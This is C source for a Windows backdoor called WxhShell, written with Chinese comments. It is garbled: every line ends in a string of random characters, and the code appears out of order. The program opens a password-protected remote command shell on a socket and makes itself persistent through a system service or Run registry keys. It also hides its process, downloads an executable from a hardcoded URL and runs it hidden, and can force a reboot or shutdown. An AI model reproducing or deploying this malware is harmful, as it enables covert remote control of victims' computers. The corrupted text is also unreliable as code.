    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T=[ /x=  
    if(Boot(SHUTDOWN)) u y13SkW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v+DXs!O{  
    else { 'On%p|s)H  
    closesocket(wsh); K#x|/b'5d  
    ExitThread(0); *$Z?Owl7  
    } S3y(' PeF  
    break; o}Q3mCB  
    } *dx E (dP  
  // 获取shell 6&"GTK  
  case 's': { 0>ce~KU  
    CmdShell(wsh); -]Aqt/w"l  
    closesocket(wsh); aco w  
    ExitThread(0); YN7JJJ/~T  
    break; }k @S mO8  
  } mv#*%St5  
  // 退出 tPFj[Y~Iy  
  case 'x': { eI/5foA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [I( Yn  
    CloseIt(wsh); ;IR.6k$;  
    break; ,b t j6hg  
    } rb]?"lizi  
  // 离开 |}o3EX  
  case 'q': { /PEL[Os  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); : CP,DO  
    closesocket(wsh); ka*#O"}L8  
    WSACleanup(); FlT5R*m  
    exit(1); WIw*//nw  
    break; 5p~hUP]tT  
        } SnY{|  
  } 5i=C?W`'  
  } 5a5)hmO RB  
T1(*dVU?  
  // 提示信息 CEBa,hp@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g Cx#&aXS  
} 2u(G:cR  
  } gvFCsVv<{  
7Q?^wx  
  return; a2eE!I  
} ,hE989x<iI  
L fZF  
// shell模块句柄 ;]W@W1)$  
int CmdShell(SOCKET sock) ^`bMFsP  
{ U.N?cKv  
STARTUPINFO si; *rA]q' jM  
ZeroMemory(&si,sizeof(si)); &BN#"- J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A5Lzd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \%&eDE0  
PROCESS_INFORMATION ProcessInfo; 8"o@$;C  
char cmdline[]="cmd"; W@D./Th  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _P*QX  
  return 0; wv ^n#  
} ~,.;2K73  
#g<6ISuf  
// 自身启动模式 <,y> W!  
int StartFromService(void) e s<  
{ XfN(7d0  
typedef struct ^95njE`>t`  
{ E[<*Al +N  
  DWORD ExitStatus; l_Zx'm  
  DWORD PebBaseAddress; "NTiQ}i  
  DWORD AffinityMask; XJ7pX1nf  
  DWORD BasePriority; "6Z(0 iu:{  
  ULONG UniqueProcessId; \t)`Cp6,[b  
  ULONG InheritedFromUniqueProcessId; ]AX3ov6z9;  
}   PROCESS_BASIC_INFORMATION; \;JZt[  
uc/W/c u,  
PROCNTQSIP NtQueryInformationProcess; |mcc?*%t8  
pk0{*Z?@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^%!#Q].  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w^N QLV S  
~7m+N)5  
  HANDLE             hProcess; "Cs36k  
  PROCESS_BASIC_INFORMATION pbi; -,2CMS#N  
.aR9ulS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z7TyS.z  
  if(NULL == hInst ) return 0; t8`wO+4@  
;*0?C'h=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !@ {sM6U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -F MonM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .h(iyCxP  
<LN7+7}  
  if (!NtQueryInformationProcess) return 0; *D.Ajd.G  
&0xM 2J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /i#";~sO  
  if(!hProcess) return 0; 2+ywl}9  
?hViOh$.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lSc=c-iOv  
L @Q+HN  
  CloseHandle(hProcess); 8[D"  
qw{`?1[+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x_r*<?OZ  
if(hProcess==NULL) return 0; hw(\3h()  
B<0Kl.V  
HMODULE hMod; x,ZF+vE  
char procName[255]; w^U{e xo  
unsigned long cbNeeded; [v\m)5  
<~uzKs0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q!_d6-*u  
?wFL\C  
  CloseHandle(hProcess); 2f62 0   
bF5"ab0  
if(strstr(procName,"services")) return 1; // 以服务启动 <_#2+7Qs  
f+8 QAvh  
  return 0; // 注册表启动 'gHg&E9E&  
} Xj~%kPe  
~S\> F\v6'  
// 主模块 ;#:AM;  
int StartWxhshell(LPSTR lpCmdLine) -& =dl_m  
{ @w`wJ*I4,  
  SOCKET wsl; qG ? :Q  
BOOL val=TRUE; n>w<vM  
  int port=0; NpaS2q-d  
  struct sockaddr_in door; IdK<:)Q  
n2EPx(~  
  if(wscfg.ws_autoins) Install(); Hq!|r8@6  
</u=<^ire  
port=atoi(lpCmdLine); *QV"o{V  
ambr}+}  
if(port<=0) port=wscfg.ws_port; z+-o}i  
%"eR0Lj+zq  
  WSADATA data; %D5F7wB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e[s}tjx  
P-3f51Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =1@LMIi5x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EC 1|$Co  
  door.sin_family = AF_INET; 6|~^P!&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9\c]I0)3p  
  door.sin_port = htons(port); ?^W1WEBm  
FSn3p}FVa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6)7cw8^  
closesocket(wsl); B(ktIy  
return 1; @&Bh!_TWc  
} E&eY79  
;j7G$s9  
  if(listen(wsl,2) == INVALID_SOCKET) { .6xMLo,R  
closesocket(wsl); m uy^>2p  
return 1; Q$v00z]f*  
} -J8Hsqf@  
  Wxhshell(wsl); {/H<_  
  WSACleanup(); CS~_>bn  
~$J(it-a  
return 0; ~UZ3 lN\E  
&*%x]fQ@  
} x~vNUyEN)  
GEA1y^b6"  
// 以NT服务方式启动 g,rmGu3v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _DH^ K 9,9  
{ gWzslgO6  
DWORD   status = 0; RB4 +"QUh  
  DWORD   specificError = 0xfffffff; _+'!l'`  
-Ep#q&\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %,~?;JAj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 28`s+sH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3%5a&b  
  serviceStatus.dwWin32ExitCode     = 0; p@nj6N.--  
  serviceStatus.dwServiceSpecificExitCode = 0; {:|3V 7X  
  serviceStatus.dwCheckPoint       = 0; f:ObI  
  serviceStatus.dwWaitHint       = 0; /s} "0/Y\  
{(!JYz~P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1 l"2 ~k  
  if (hServiceStatusHandle==0) return; rM"27ud[`_  
d?T!)w  
status = GetLastError(); b5LToy:  
  if (status!=NO_ERROR) `Y5LAt:  
{ -(]C FnD_N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f!`? _  
    serviceStatus.dwCheckPoint       = 0; 6{Q-]LOc[.  
    serviceStatus.dwWaitHint       = 0; [&PF ;)i  
    serviceStatus.dwWin32ExitCode     = status; kM{8zpn  
    serviceStatus.dwServiceSpecificExitCode = specificError; bXOKC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dpw-a4o}  
    return; ; Byt'S  
  } uVCH<6Cp  
DZtpY {=Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >Vjn]V5y  
  serviceStatus.dwCheckPoint       = 0; t`+A;%=K]  
  serviceStatus.dwWaitHint       = 0; 6UuN-7z!"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]LUcOR  
} tVEe)QX  
{0Y6jk>I  
// 处理NT服务事件,比如:启动、停止 $_E.D>5^%7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k#Sr;"  
{ &h I!mo  
switch(fdwControl) IBo  
{ <D~hhGb  
case SERVICE_CONTROL_STOP: T \uIXL?3  
  serviceStatus.dwWin32ExitCode = 0; 7I XWv-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j2<+[h-  
  serviceStatus.dwCheckPoint   = 0; ~TEn +  
  serviceStatus.dwWaitHint     = 0; .R)P |@z L  
  { uC^)#Y\"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \&hq$  
  } z3K$gEve  
  return; 3NLn}  
case SERVICE_CONTROL_PAUSE: g"1V ]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jts0ZFHc-  
  break; iX]OF.:   
case SERVICE_CONTROL_CONTINUE: J<QZ)<T,&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _ZK^J S  
  break; N*}soMPV^.  
case SERVICE_CONTROL_INTERROGATE: JM|HnyI  
  break; jJ$B^Y"4  
}; !SW0iq[7j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <@KIDZYC  
} <&l$xn  
MmN{f~Kq9  
// 标准应用程序主函数 z7bJV/f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `}l%61n0  
{ tr[}F7n9  
X$we\t  
// 获取操作系统版本 PJC(:R(j  
OsIsNt=GetOsVer(); {MUiK 5:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e"%TU  
BX0lk  
  // 从命令行安装 $h{m")]  
  if(strpbrk(lpCmdLine,"iI")) Install(); :^3) [.m  
;rT'~?q  
  // 下载执行文件 Y:ly x-lj  
if(wscfg.ws_downexe) { e=OHO,74z"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $lJcC |*  
  WinExec(wscfg.ws_filenam,SW_HIDE); /=m AVA  
} ey DV911  
C6;2Dd]"N  
if(!OsIsNt) { [g/D<g5O  
// 如果时win9x,隐藏进程并且设置为注册表启动 >,{s Fc  
HideProc(); Q^Cm3|ZO  
StartWxhshell(lpCmdLine); BqNeY<zB*  
} f47]gtB-  
else EVX3uC}{  
  if(StartFromService()) ju{Y6XJ)  
  // 以服务方式启动 B-rE8 \  
  StartServiceCtrlDispatcher(DispatchTable); b?i+nh qI  
else CvY+b^;  
  // 普通方式启动 g %f5hy  
  StartWxhshell(lpCmdLine); *#XZ*Ga  
'6dVe 2V  
return 0; Snf_{A<  
} 1n8[fgz  
e.n(NW  
"=Br&FN{|  
1P!)4W  
=========================================== [P`e @$  
mZR3Hl$  
#{q.s[g*+1  
d2`g,~d  
P"_/P8  
RhE~-b[X  
" Ik0g(-d  
(?|M'gZ  
#include <stdio.h> p"ytt|H  
#include <string.h> p0@^1  
#include <windows.h> GEWjQ;g  
#include <winsock2.h> v745F Iy<  
#include <winsvc.h> {|?^@  
#include <urlmon.h> '[{<a Eo  
UucI>E3?P{  
#pragma comment (lib, "Ws2_32.lib") X/~uF 9a'<  
#pragma comment (lib, "urlmon.lib") b"h'7C/  
Jbu2y'zE  
#define MAX_USER   100 // 最大客户端连接数 bqcCA9 1  
#define BUF_SOCK   200 // sock buffer AEyvljv  
#define KEY_BUFF   255 // 输入 buffer ]u|fLK.|  
l*1|B3#m!  
#define REBOOT     0   // 重启 e3p|g]  
#define SHUTDOWN   1   // 关机 |"gL {De  
y@3p5o9lv-  
#define DEF_PORT   5000 // 监听端口 t%lat./yT  
rm[C{Pn  
#define REG_LEN     16   // 注册表键长度 7Z< ~{eD,  
#define SVC_LEN     80   // NT服务名长度 FDz`U:8  
HT;^u"a~  
// 从dll定义API ]3_b3@k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,;`f* #  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tlw'05\{J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7Z6=e6/\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,|]J aZq  
~#pATPW@(  
// wxhshell配置信息 FJ;I1~??  
struct WSCFG { YaC%69C'  
  int ws_port;         // 监听端口 FH~:&;  
  char ws_passstr[REG_LEN]; // 口令 !T`oHs  
  int ws_autoins;       // 安装标记, 1=yes 0=no dJ"M#X!Zu  
  char ws_regname[REG_LEN]; // 注册表键名 '#'noB;,  
  char ws_svcname[REG_LEN]; // 服务名 4V JUu`[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3Z b]@n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dvB=Zk]m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  /|0-O''  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BX >L7n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sey,J5?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \vA*dQ-  
hYW9a`Ht/  
}; }|DspO  
1t  R^  
// default Wxhshell configuration !"L.gu-'  
struct WSCFG wscfg={DEF_PORT, m{/7)2.  
    "xuhuanlingzhe", C-&ymJC|  
    1, f<YYo  
    "Wxhshell", Q\$3l'W  
    "Wxhshell", <`}P  
            "WxhShell Service", ETp?RWXX  
    "Wrsky Windows CmdShell Service", uZ+bo&  
    "Please Input Your Password: ", IzP,)!EE  
  1, :7v'[b  
  "http://www.wrsky.com/wxhshell.exe", BQ-x#[ %s  
  "Wxhshell.exe" &`r/+B_W  
    }; uz8LF47@:-  
n#(pT3&  
// 消息定义模块 V(7,N(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z#*.9/y\^R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .xRdKt!p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y\?ey'o  
char *msg_ws_ext="\n\rExit."; f"ezmZI  
char *msg_ws_end="\n\rQuit."; n|i:4D  
char *msg_ws_boot="\n\rReboot..."; Rf:.'/<^  
char *msg_ws_poff="\n\rShutdown..."; /LD3Bb)O  
char *msg_ws_down="\n\rSave to "; (>al-vZ6A  
lzEynMO+  
char *msg_ws_err="\n\rErr!"; qe0D[L  
char *msg_ws_ok="\n\rOK!"; M8/a laoT  
76nH)^%l<  
char ExeFile[MAX_PATH]; ~YYnn7)  
int nUser = 0; Su#0 F0  
HANDLE handles[MAX_USER]; %* "+kw Z  
int OsIsNt; KgL!~J  
q/i2o[f'n  
SERVICE_STATUS       serviceStatus; QNNURf\[(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -#v~;Ci  
V b0T)C  
// 函数声明 zxyl+tU &  
int Install(void); :`bC3Mr  
int Uninstall(void); + jLy>=u  
int DownloadFile(char *sURL, SOCKET wsh); gmGK3am  
int Boot(int flag); $Z]&3VxxY  
void HideProc(void); yXJhOCa  
int GetOsVer(void); vSgT36ZF  
int Wxhshell(SOCKET wsl); ]VI^ hhf  
void TalkWithClient(void *cs); ATs_d_Sz  
int CmdShell(SOCKET sock); K`4lL5oH  
int StartFromService(void); lTx_E#^s  
int StartWxhshell(LPSTR lpCmdLine); ^m>4<~/  
^6s im2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {EgSjxfmw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U+S=MP }:  
n]4E>/\  
// 数据结构和表定义 =xI;D,@S  
SERVICE_TABLE_ENTRY DispatchTable[] = IKD{3cVL  
{ cn'>dz3v  
{wscfg.ws_svcname, NTServiceMain}, |L2>|4  
{NULL, NULL} SQodk:1)  
}; mQ[$U  
t>j_C{X1(  
// 自我安装 <kn 2  
int Install(void) 3c<aI =$^  
{ 78& |^sq  
  char svExeFile[MAX_PATH]; "5hk%T '  
  HKEY key; U&^q#['  
  strcpy(svExeFile,ExeFile); hkMeUxS  
0m@+ &X>w  
// 如果是win9x系统,修改注册表设为自启动 -Jd|H*wWo  
if(!OsIsNt) { )qWwh)\;!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n:@!vV   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vW+6_41ZM  
  RegCloseKey(key); `ecseBn3d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ({uW-%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Ry9{:  
  RegCloseKey(key); }[p{%:tP  
  return 0; PgBEe @.  
    } '.A!IGsj  
  } 8`4M4" lj  
} DX_ mrG  
else { e(c\U}&  
_4S^'FDo  
// 如果是NT以上系统,安装为系统服务 !<[+u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Xoj"rR9|  
if (schSCManager!=0) !>`Q]M`  
{ X~{6$J|]#i  
  SC_HANDLE schService = CreateService ",#.?vT`  
  ( sx,$W3zI'G  
  schSCManager, FYAEM!dyy  
  wscfg.ws_svcname, &^=Lr:I  
  wscfg.ws_svcdisp, 3smkY  
  SERVICE_ALL_ACCESS, T4eJ:u*;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I68u%fCv  
  SERVICE_AUTO_START, Y{Z&W9U  
  SERVICE_ERROR_NORMAL, 8v$q+Wic  
  svExeFile, BQu |qr q  
  NULL, o[C^z7WG0  
  NULL, r%,?uim#  
  NULL, {R1]tGOf  
  NULL, rOJ>lPs  
  NULL Y=S0|!u  
  ); ]H1mj#EWU  
  if (schService!=0) #xI g(nG  
  { yD9enYM  
  CloseServiceHandle(schService); QkrQM&Im  
  CloseServiceHandle(schSCManager); 3",gjXmBu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >* -I Io  
  strcat(svExeFile,wscfg.ws_svcname); ni;_Un~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K~(RV4oF8B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DUOoTl p  
  RegCloseKey(key); g)hEzL0k  
  return 0; v\x l?F  
    } /!6'K  
  }  3.&BhLT  
  CloseServiceHandle(schSCManager); Iiy5;:CX:q  
} Jqoo&T")  
} Yh<F-WOo2  
)nm+_U  
return 1; LU3pCM{  
} h&"9v~  
V)$!WPL@  
// 自我卸载 EP>u%]#  
int Uninstall(void) t{k:H4  
{ yF)o_OA[uR  
  HKEY key; j\}.GM'8  
Y\ [|k-6  
if(!OsIsNt) { Wt.DL mO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $|$@?H>K  
  RegDeleteValue(key,wscfg.ws_regname); J8'"vc}=  
  RegCloseKey(key); z "@^'{.l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4.9qB  
  RegDeleteValue(key,wscfg.ws_regname); d4y#n=HnnV  
  RegCloseKey(key); Mh%{cLM  
  return 0; mWviWHK  
  } *i"9D:  
} xm m,- u  
} TmgC {_  
else { r)<A YX]J  
,np=m17  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2Kxb(q"  
if (schSCManager!=0) v93b8/1  
{ {&1L &f<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ib(C`4%  
  if (schService!=0) is;g`m  
  { ?:R]p2ID  
  if(DeleteService(schService)!=0) { 6h9(u7(-N  
  CloseServiceHandle(schService); ]E9iaq6Z  
  CloseServiceHandle(schSCManager); !Dd'*ee-;  
  return 0; . ,|C>^  
  } b4L7M1l  
  CloseServiceHandle(schService); 196aYLE  
  } 2Zu9? L ,I  
  CloseServiceHandle(schSCManager); [@i:qB>B  
} >.<VD7p  
} 6[m~xegG  
H/a gt  
return 1; eMGJx"a  
} z}vT8qoX  
6wlLE5  
// 从指定url下载文件 1AJ6NBC&c  
int DownloadFile(char *sURL, SOCKET wsh) 86#l$QaK{  
{ TQR5V\{&%  
  HRESULT hr; Z`TfS+O6  
char seps[]= "/"; XYU5.  
char *token; -2.7Z`*(  
char *file; :8 2T!  
char myURL[MAX_PATH]; 9#DXA}  
char myFILE[MAX_PATH]; _S9)<RVI+  
4[lFur H  
strcpy(myURL,sURL); w:\} B'u  
  token=strtok(myURL,seps); 4 \z@Evm  
  while(token!=NULL) }aWy#Oe  
  { [8QK @5[  
    file=token; mSYjc)z  
  token=strtok(NULL,seps); o U=vl!\J  
  } 5]O{tSj  
u`|%qRt  
GetCurrentDirectory(MAX_PATH,myFILE); )+ <w>pc  
strcat(myFILE, "\\"); ~"+"6zg  
strcat(myFILE, file);  /  
  send(wsh,myFILE,strlen(myFILE),0); qO{z{@jo55  
send(wsh,"...",3,0); +tPBm{|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vr;`h/  
  if(hr==S_OK) uw mN !!TS  
return 0; 1Vpti4OmU  
else +&.zwniSS  
return 1; 3=enk0$  
:T-DxP/  
} ,YD7p= PY  
.n<vhLDQn  
// 系统电源模块 F`g(vD >  
int Boot(int flag) /A{ Zf'DI  
{ K P]ar.  
  HANDLE hToken; UA<Fxt  
  TOKEN_PRIVILEGES tkp; %IsodtkDu  
bRvGetX  
  if(OsIsNt) { lu.]R>w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m. pm,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dlYpbw}W&<  
    tkp.PrivilegeCount = 1; T;6MUmyC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gxw1P@<F:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !!C/($  
if(flag==REBOOT) { Fi``l )Tt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ` aVp#  
  return 0; "\wMs  
} (=j;rfvP  
else { NzgG7 7>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NW1Jr/  
  return 0; 5%jhVys23  
} Yg&(kmm  
  } -#ZvjEaey  
  else { '|[!I!WB`  
if(flag==REBOOT) { ) H,Xkex  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) = wz}yfdrC  
  return 0; g~DuK|+  
} |N/d }  
else { n3iiW \  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `*s:[k5k  
  return 0;  \0)jWCK  
} vhBW1/w&F  
} G^.N$wcv  
IR-n:z  
return 1; I!hh_  
} l5D)UO  
5f*_K6,v  
// win9x进程隐藏模块 u''Ce`N  
void HideProc(void) #*g=F4>t  
{ j4/[Z'5ny  
s!IIvF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3-/|G-4k7  
  if ( hKernel != NULL ) ]y@A=nR  
  { Da-Lf2qT9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YY;<y%:8Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JX&U?Z  
    FreeLibrary(hKernel); av'm$I|O  
  } w~@"r#-  
W\l&wR  
return; @;egnXxF<  
} .lcp5D[(  
DZqPCMz)^  
// 获取操作系统版本 Xl4}S"a  
int GetOsVer(void) 72, m c  
{ *^-AOSVt,  
  OSVERSIONINFO winfo; X /c8XLe"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CzBYH   
  GetVersionEx(&winfo); 6 - 3?&+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E+\?ptw  
  return 1; `0Udg,KOs  
  else *'?ZG/ (  
  return 0; %RD\Sb4YV  
} ,-6Oma -  
X7$]qE K  
// 客户端句柄模块 FtTq*[a  
int Wxhshell(SOCKET wsl) Ll|-CY $  
{ QATRrIj{e  
  SOCKET wsh; s~7a-J  
  struct sockaddr_in client; 5len} ){  
  DWORD myID; *tv&=  
nL?P/ \  
  while(nUser<MAX_USER) "lt<$.  
{ }R;}d(C`  
  int nSize=sizeof(client);  Gsh9D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %2:UsI  
  if(wsh==INVALID_SOCKET) return 1; 0BXr[%{`  
z\eQB%aM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i "V.$|,  
if(handles[nUser]==0) h3 H Udu  
  closesocket(wsh); k@7#8(3  
else uqcG3Pi  
  nUser++; ;y(;7n_ a  
  } IT NFmD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L!:NL#M  
{]6-,/3UR  
  return 0; )Ra:s>  
} eQi^d/yi  
!\#Wq{p>W*  
// 关闭 socket DCp8rvUI  
void CloseIt(SOCKET wsh) $]LS!@ Rm  
{ V< F &\  
closesocket(wsh); I3>8B  
nUser--; N'y<<tTA  
ExitThread(0); N7s0Ua'-v  
} Gbhw7 (&  
-;gQy[U  
// 客户端请求句柄 ?jR#txR  
void TalkWithClient(void *cs) `i.fm1I]  
{ W_@ b. 1  
@A6iY  
  SOCKET wsh=(SOCKET)cs; s={>{,E  
  char pwd[SVC_LEN]; `!cdxKLR  
  char cmd[KEY_BUFF]; #;8)UNc)}  
char chr[1]; _jX,1+M  
int i,j; }36AeJ7L  
V<5. 4{[G  
  while (nUser < MAX_USER) { _=0Ja S>M.  
~+{*KPiD  
if(wscfg.ws_passstr) { M.Q HE2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); < h#7;o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); At@0G\^  
  //ZeroMemory(pwd,KEY_BUFF); _Yo)m |RaB  
      i=0; Y[e.1\d'  
  while(i<SVC_LEN) { fK:4jl-r  
_xAru9=n^  
  // 设置超时 xp1/@Pw?  
  fd_set FdRead; O^\:J 2I(  
  struct timeval TimeOut; U~=?I)Ni  
  FD_ZERO(&FdRead); Yp(0XP5o  
  FD_SET(wsh,&FdRead); s YTJ^Kd  
  TimeOut.tv_sec=8; 3F"vK  
  TimeOut.tv_usec=0; (_#E17U)_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); & PXT$x[i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  p[&J l  
D?y-Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A'CD,R+gR  
  pwd=chr[0]; _f 2rz+  
  if(chr[0]==0xd || chr[0]==0xa) { TNh&g.  
  pwd=0; ,W+=N"`a'  
  break; 9Pg6,[*u  
  } &L0Ii)Ns  
  i++; )7Hx <?P  
    } gm5%X'XL  
E[t[R<v,P!  
  // 如果是非法用户,关闭 socket ;e_us!Sn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d>#',C#;  
} 8r>\scS  
YCP D+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CSjd&G *ZB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ma\%uEgTD  
5vD\?,f E  
while(1) { EyR/   
G "+[@|  
  ZeroMemory(cmd,KEY_BUFF); 0X99D2c  
FLJ&ZU=s  
      // 自动支持客户端 telnet标准   ~c&sr5E  
  j=0; v@G&";|  
  while(j<KEY_BUFF) { gjD|f2*x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (8~mf$ zx,  
  cmd[j]=chr[0]; V*JqC  
  if(chr[0]==0xa || chr[0]==0xd) { #5y+gdN  
  cmd[j]=0; 8=bn TJf  
  break; P;(@"gD8z5  
  } O_s /BoB@  
  j++; %gn@B2z  
    } Xqe Qj}2kA  
Y\<w|LkD8  
  // 下载文件 U5ph4G  
  if(strstr(cmd,"http://")) { VQf^yq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Uth+4Aq  
  if(DownloadFile(cmd,wsh)) &!;o[joG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >~7XBb08  
  else 3;b)pQ~6CJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  \aof  
  } m{>"  
  else { x| D|d}  
|,KsJ2hD  
    switch(cmd[0]) { (' %Y3z;  
  [V /f{y~ {  
